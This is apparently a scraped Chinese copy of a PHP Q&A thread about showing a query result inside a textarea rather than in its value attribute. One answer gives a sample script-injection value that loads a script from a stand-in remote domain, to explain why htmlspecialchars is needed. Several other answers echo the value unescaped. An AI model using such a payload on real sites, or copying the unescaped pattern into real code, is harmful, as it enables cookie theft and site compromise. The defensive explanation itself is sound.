在 textarea 中显示 PHP 查询结果

Posted

技术标签:

【中文标题】在 textarea 中显示 PHP 查询结果【英文标题】:Display PHP query result in textarea 【发布时间】:2013-07-14 03:24:54 【问题描述】:

我在这里遇到了一个小问题,我正在尝试制作一个带有编辑按钮的新闻系统,一切都很好,但是我遇到了“textarea”问题,我可以在输入上显示结果但是当我尝试在 textarea 中显示它们时,它不会,请看:

这段代码完美运行:

<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140"  value="<?php echo $not_Resumen?>"/>

这不会:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"  value="<?php echo $not_Contenido ?>">
</textarea>

我尝试在 textarea 中使用 $not_Resumen 和其他的,但它不起作用,textarea 会在没有文本的情况下显示为空,这应该是我犯的一个小错误,但我找不到它。谢谢。

【问题讨论】:

【参考方案1】:

只要把它放在&gt;&lt;里面,就有no value attribute:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

您还应该使用htmlspecialchars,这样如果$not_Contenido 包含&lt;/textarea&gt;,文本区域就不会中断。

这有时会被忽略,但如果 $not_Contenido 包含以下内容:

</textarea><script src="http://remotedomain.com/evilscript.js"></script>

攻击者可以运行他们想要的任何东西,您的所有客户端都会下载并在您的网站上运行该脚本。常见的攻击是将 cookie 发送到他们的域。

【讨论】:

【参考方案2】:

试试看

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
     <?php echo $not_Contenido; ?>
</textarea>

我们不会为textbox 提供价值。

【讨论】:

【参考方案3】:

值不是 textarea 的属性,所以只需放在标签 &lt;textarea&gt;?&lt;/textarea&gt; 之间

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>

【讨论】:

【参考方案4】:

将值放在 textarea 的开始和结束标记之间,就像其他 HTML 标记一样,并且 textarea 没有属性“值”

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

【讨论】:

以上是关于在 textarea 中显示 PHP 查询结果的主要内容,如果未能解决你的问题,请参考以下文章

在 TextArea 中显示循环结果

PHP MySQL查询在结果中显示错误的日期时间

启用 <textarea> 显示 HTML 内容,例如粗体、斜体、颜色、img 标签

在php中显示SQL查询结果

javascript/html/php 捕获 textarea 中的换行符

textarea 中的 CodeMirror(JS 代码突出显示)文本超出 textarea 宽度